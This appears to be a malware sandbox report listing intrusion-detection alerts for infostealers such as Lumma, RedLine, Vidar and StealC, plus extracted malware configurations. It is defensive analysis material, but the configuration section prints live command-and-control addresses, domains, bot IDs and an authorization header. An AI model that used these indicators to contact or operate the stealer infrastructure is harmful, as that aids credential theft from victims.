2024-09-06T08:17:48.059110+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49766	104.21.10.172	443	TCP
2024-09-06T08:17:50.948582+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49771	104.21.10.172	443	TCP
2024-09-06T08:18:00.452563+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49779	104.21.10.172	443	TCP
2024-09-06T08:18:03.277052+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49780	104.21.10.172	443	TCP
2024-09-06T08:18:31.504760+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49790	104.21.10.172	443	TCP
2024-09-06T08:18:33.145166+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49791	104.21.10.172	443	TCP

ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:45.452328+0200	2055475	1	A Network Trojan was detected	192.168.2.4	55687	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:45.292254+0200	2055479	1	A Network Trojan was detected	192.168.2.4	56325	1.1.1.1	53	UDP
2024-09-06T08:17:59.641889+0200	2055479	1	A Network Trojan was detected	192.168.2.4	55415	1.1.1.1	53	UDP
2024-09-06T08:18:30.201414+0200	2055479	1	A Network Trojan was detected	192.168.2.4	54478	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (stamppreewntnq .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:43.561688+0200	2055482	1	A Network Trojan was detected	192.168.2.4	49325	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:45.381116+0200	2055483	1	A Network Trojan was detected	192.168.2.4	59406	1.1.1.1	53	UDP
2024-09-06T08:17:59.573153+0200	2055483	1	A Network Trojan was detected	192.168.2.4	53819	1.1.1.1	53	UDP
2024-09-06T08:18:30.130566+0200	2055483	1	A Network Trojan was detected	192.168.2.4	52984	1.1.1.1	53	UDP

ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:45.937006+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49764	104.21.10.172	443	TCP
2024-09-06T08:17:46.976333+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49766	104.21.10.172	443	TCP
2024-09-06T08:17:47.069344+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49768	104.21.10.172	443	TCP
2024-09-06T08:17:50.045273+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49771	104.21.10.172	443	TCP
2024-09-06T08:18:00.282811+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49779	104.21.10.172	443	TCP
2024-09-06T08:18:02.863937+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49780	104.21.10.172	443	TCP
2024-09-06T08:18:30.993112+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49790	104.21.10.172	443	TCP
2024-09-06T08:18:32.741642+0200	2055485	1	A Network Trojan was detected	192.168.2.4	49791	104.21.10.172	443	TCP

ET MALWARE Lumma Stealer Domain in TLS SNI (stamppreewntnq .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:44.078559+0200	2055492	1	A Network Trojan was detected	192.168.2.4	49762	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:45.199335+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49762	188.114.96.3	443	TCP
2024-09-06T08:17:46.093705+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49764	104.21.10.172	443	TCP
2024-09-06T08:17:48.059110+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49766	104.21.10.172	443	TCP
2024-09-06T08:18:00.452563+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49779	104.21.10.172	443	TCP
2024-09-06T08:18:31.504760+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49790	104.21.10.172	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:47.993174+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49768	104.21.10.172	443	TCP
2024-09-06T08:17:50.948582+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49771	104.21.10.172	443	TCP
2024-09-06T08:18:03.277052+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49780	104.21.10.172	443	TCP
2024-09-06T08:18:33.145166+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49791	104.21.10.172	443	TCP

ET MALWARE PrivateLoader CnC Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:16:57.615248+0200	2054709	1	A Network Trojan was detected	192.168.2.4	49730	185.143.223.148	80	TCP

ET MALWARE PrivateLoader CnC Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:02.443374+0200	2054711	1	A Network Trojan was detected	192.168.2.4	49730	185.143.223.148	80	TCP
2024-09-06T08:17:03.886504+0200	2054711	1	A Network Trojan was detected	192.168.2.4	49730	185.143.223.148	80	TCP
2024-09-06T08:17:25.603904+0200	2054711	1	A Network Trojan was detected	192.168.2.4	49730	185.143.223.148	80	TCP

ET MALWARE PrivateLoader CnC Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:01.762781+0200	2054710	1	A Network Trojan was detected	185.143.223.148	80	192.168.2.4	49730	TCP

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:40.629212+0200	2043234	1	A Network Trojan was detected	147.45.47.36	30035	192.168.2.4	49760	TCP
2024-09-06T08:17:40.846715+0200	2043234	1	A Network Trojan was detected	147.45.47.36	30035	192.168.2.4	49760	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:40.437187+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:45.787993+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:46.938158+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:54.976335+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.173777+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.371395+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.652348+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:55.876660+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:17:56.069257+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:07.618407+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:07.815168+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:08.135848+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:08.140856+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:14.428216+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:14.634453+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:15.064987+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:15.434430+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:15.638971+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:17.193161+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:17.632142+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:17.827056+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:24.282912+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:24.478569+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:24.671311+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:30.198385+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP
2024-09-06T08:18:30.584663+0200	2043231	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:46.944969+0200	2046056	1	A Network Trojan was detected	147.45.47.36	30035	192.168.2.4	49760	TCP

ET MALWARE RisePro TCP Heartbeat Packet

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:39.204334+0200	2049060	1	A Network Trojan was detected	192.168.2.4	49754	77.105.164.24	50505	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:28.772478+0200	2018581	1	A Network Trojan was detected	192.168.2.4	49788	194.163.35.141	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:33.563501+0200	2054495	1	A Network Trojan was detected	192.168.2.4	49792	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:35.851464+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49753	TCP
2024-09-06T08:18:05.437325+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.100	80	192.168.2.4	49781	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:35.610321+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:18:05.307029+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49781	185.215.113.100	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:36.064303+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:18:05.686055+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49781	185.215.113.100	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:37.746480+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:18:08.190771+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49781	185.215.113.100	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:36.606867+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49753	TCP
2024-09-06T08:18:02.765885+0200	2044247	1	Malware Command and Control Activity Detected	147.45.126.10	80	192.168.2.4	49778	TCP
2024-09-06T08:18:05.807668+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.100	80	192.168.2.4	49781	TCP
2024-09-06T08:18:40.743534+0200	2044247	1	Malware Command and Control Activity Detected	147.45.126.10	80	192.168.2.4	49796	TCP
2024-09-06T08:19:14.195171+0200	2044247	1	Malware Command and Control Activity Detected	147.45.126.10	80	192.168.2.4	49835	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:07.817424+0200	2051831	1	Malware Command and Control Activity Detected	147.45.126.10	80	192.168.2.4	49778	TCP
2024-09-06T08:18:44.454839+0200	2051831	1	Malware Command and Control Activity Detected	147.45.126.10	80	192.168.2.4	49796	TCP
2024-09-06T08:19:15.852916+0200	2051831	1	Malware Command and Control Activity Detected	147.45.126.10	80	192.168.2.4	49835	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:01.603284+0200	2049087	1	A Network Trojan was detected	192.168.2.4	49778	147.45.126.10	80	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:40.437187+0200	2046045	1	A Network Trojan was detected	192.168.2.4	49760	147.45.47.36	30035	TCP

ET MALWARE [ANY.RUN] RisePro TCP (Activity)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:39.204334+0200	2046269	1	A Network Trojan was detected	192.168.2.4	49754	77.105.164.24	50505	TCP

ET MALWARE [ANY.RUN] RisePro TCP (Token)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:36.001826+0200	2046266	1	A Network Trojan was detected	77.105.164.24	50505	192.168.2.4	49754	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:36.707477+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:40.270228+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:41.199199+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-06T08:18:42.042457+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-06T08:18:43.066701+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-06T08:18:43.985833+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-06T08:18:44.883966+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-06T08:18:45.892784+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-06T08:18:46.776463+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-06T08:18:47.764303+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-06T08:18:48.700082+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-06T08:18:49.630487+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49811	185.196.8.214	80	TCP
2024-09-06T08:18:50.741407+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49812	185.196.8.214	80	TCP
2024-09-06T08:18:51.640467+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49813	185.196.8.214	80	TCP
2024-09-06T08:18:52.555633+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49814	185.196.8.214	80	TCP
2024-09-06T08:18:53.494583+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49815	185.196.8.214	80	TCP
2024-09-06T08:18:54.397195+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49816	185.196.8.214	80	TCP
2024-09-06T08:18:55.328450+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49817	185.196.8.214	80	TCP
2024-09-06T08:18:56.234499+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49818	185.196.8.214	80	TCP
2024-09-06T08:18:57.135522+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49819	185.196.8.214	80	TCP
2024-09-06T08:18:58.023839+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49820	185.196.8.214	80	TCP
2024-09-06T08:18:58.906476+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49821	185.196.8.214	80	TCP
2024-09-06T08:18:59.815229+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49822	185.196.8.214	80	TCP
2024-09-06T08:19:00.950695+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49823	185.196.8.214	80	TCP
2024-09-06T08:19:01.893351+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49824	185.196.8.214	80	TCP
2024-09-06T08:19:02.924502+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49825	185.196.8.214	80	TCP
2024-09-06T08:19:04.139760+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49826	185.196.8.214	80	TCP
2024-09-06T08:19:05.073923+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49827	185.196.8.214	80	TCP
2024-09-06T08:19:06.143357+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49828	185.196.8.214	80	TCP
2024-09-06T08:19:07.488910+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49829	185.196.8.214	80	TCP
2024-09-06T08:19:08.371244+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49830	185.196.8.214	80	TCP
2024-09-06T08:19:09.293068+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49831	185.196.8.214	80	TCP
2024-09-06T08:19:10.370025+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49832	185.196.8.214	80	TCP
2024-09-06T08:19:11.232957+0200	2049467	1	A Network Trojan was detected	192.168.2.4	49834	185.196.8.214	80	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:18:36.707477+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:40.270228+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49794	185.196.8.214	80	TCP
2024-09-06T08:18:41.199199+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49798	185.196.8.214	80	TCP
2024-09-06T08:18:42.042457+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49802	185.196.8.214	80	TCP
2024-09-06T08:18:43.066701+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49803	185.196.8.214	80	TCP
2024-09-06T08:18:43.985833+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49805	185.196.8.214	80	TCP
2024-09-06T08:18:44.883966+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49806	185.196.8.214	80	TCP
2024-09-06T08:18:45.892784+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49807	185.196.8.214	80	TCP
2024-09-06T08:18:46.776463+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49808	185.196.8.214	80	TCP
2024-09-06T08:18:47.764303+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49809	185.196.8.214	80	TCP
2024-09-06T08:18:48.700082+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49810	185.196.8.214	80	TCP
2024-09-06T08:18:49.630487+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49811	185.196.8.214	80	TCP
2024-09-06T08:18:50.741407+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49812	185.196.8.214	80	TCP
2024-09-06T08:18:51.640467+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49813	185.196.8.214	80	TCP
2024-09-06T08:18:52.555633+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49814	185.196.8.214	80	TCP
2024-09-06T08:18:53.494583+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49815	185.196.8.214	80	TCP
2024-09-06T08:18:54.397195+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49816	185.196.8.214	80	TCP
2024-09-06T08:18:55.328450+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49817	185.196.8.214	80	TCP
2024-09-06T08:18:56.234499+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49818	185.196.8.214	80	TCP
2024-09-06T08:18:57.135522+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49819	185.196.8.214	80	TCP
2024-09-06T08:18:58.023839+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49820	185.196.8.214	80	TCP
2024-09-06T08:18:58.906476+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49821	185.196.8.214	80	TCP
2024-09-06T08:18:59.815229+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49822	185.196.8.214	80	TCP
2024-09-06T08:19:00.950695+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49823	185.196.8.214	80	TCP
2024-09-06T08:19:01.893351+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49824	185.196.8.214	80	TCP
2024-09-06T08:19:02.924502+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49825	185.196.8.214	80	TCP
2024-09-06T08:19:04.139760+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49826	185.196.8.214	80	TCP
2024-09-06T08:19:05.073923+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49827	185.196.8.214	80	TCP
2024-09-06T08:19:06.143357+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49828	185.196.8.214	80	TCP
2024-09-06T08:19:07.488910+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49829	185.196.8.214	80	TCP
2024-09-06T08:19:08.371244+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49830	185.196.8.214	80	TCP
2024-09-06T08:19:09.293068+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49831	185.196.8.214	80	TCP
2024-09-06T08:19:10.370025+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49832	185.196.8.214	80	TCP
2024-09-06T08:19:11.232957+0200	2050112	1	A Network Trojan was detected	192.168.2.4	49834	185.196.8.214	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:35.274707+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:18:04.960658+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49781	185.215.113.100	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:16:58.849489+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	49785	95.179.241.203	443	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:38.099725+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:44.001475+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:45.333680+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:46.294875+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:46.945507+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:48.746391+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:49.281472+0200	2803304	3	Unknown Traffic	192.168.2.4	49753	46.8.231.109	80	TCP
2024-09-06T08:17:54.477012+0200	2803304	3	Unknown Traffic	192.168.2.4	49775	46.29.235.52	80	TCP
2024-09-06T08:17:55.329054+0200	2803304	3	Unknown Traffic	192.168.2.4	49775	46.29.235.52	80	TCP
2024-09-06T08:18:09.061966+0200	2803304	3	Unknown Traffic	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:19.642780+0200	2803304	3	Unknown Traffic	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:20.967521+0200	2803304	3	Unknown Traffic	192.168.2.4	49781	185.215.113.100	80	TCP
2024-09-06T08:18:21.893448+0200	2803304	3	Unknown Traffic	192.168.2.4	49786	185.215.113.100	80	TCP
2024-09-06T08:18:23.079597+0200	2803304	3	Unknown Traffic	192.168.2.4	49786	185.215.113.100	80	TCP
2024-09-06T08:18:24.038381+0200	2803304	3	Unknown Traffic	192.168.2.4	49787	185.215.113.100	80	TCP
2024-09-06T08:18:25.320837+0200	2803304	3	Unknown Traffic	192.168.2.4	49787	185.215.113.100	80	TCP
2024-09-06T08:18:27.550383+0200	2803304	3	Unknown Traffic	192.168.2.4	49789	46.29.235.52	80	TCP
2024-09-06T08:18:30.005748+0200	2803304	3	Unknown Traffic	192.168.2.4	49789	46.29.235.52	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-06T08:17:05.284014+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49735	46.29.235.52	80	TCP
2024-09-06T08:17:05.302099+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	46.29.235.52	80	TCP
2024-09-06T08:17:05.426257+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49739	31.41.244.9	80	TCP
2024-09-06T08:17:05.651221+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:05.653167+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	176.113.115.33	80	TCP
2024-09-06T08:17:05.801907+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49733	147.45.44.104	80	TCP
2024-09-06T08:17:05.912660+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49742	176.111.174.109	80	TCP
2024-09-06T08:17:06.147167+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49744	76.76.21.142	443	TCP
2024-09-06T08:17:06.523410+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49733	147.45.44.104	80	TCP
2024-09-06T08:17:09.265600+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49733	147.45.44.104	80	TCP
2024-09-06T08:17:14.552996+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:14.928920+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	147.45.44.104	80	TCP
2024-09-06T08:17:17.493716+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: stamppreewntnq.shop	URL Reputation: Label: phishing
Source: condedqpwqm.shop	URL Reputation: Label: phishing
Source: locatedblsoqp.shop	URL Reputation: Label: phishing
Source: traineiwnqo.shop	URL Reputation: Label: malware

Found malware configuration

Source: 0000000E.00000002.2120842089.00000000043E5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "147.45.47.36:30035", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}
Source: 0000000B.00000002.2146809633.00000000032B5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d", "https://t.me/fneogr"], "Botnet": "4f1093aa7eebaf755203a00370e22375"}
Source: 42.2.BitLockerToGo.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["stamppreewntnq.shop", "evoliutwoqm.shop", "locatedblsoqp.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "traineiwnqo.shop", "stagedchheiqwo.shop", "millyscroqwp.shop"], "Build id": "a8kafm--@cloudcosmic"}
Source: 31.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Multi AV Scanner detection for domain / URL

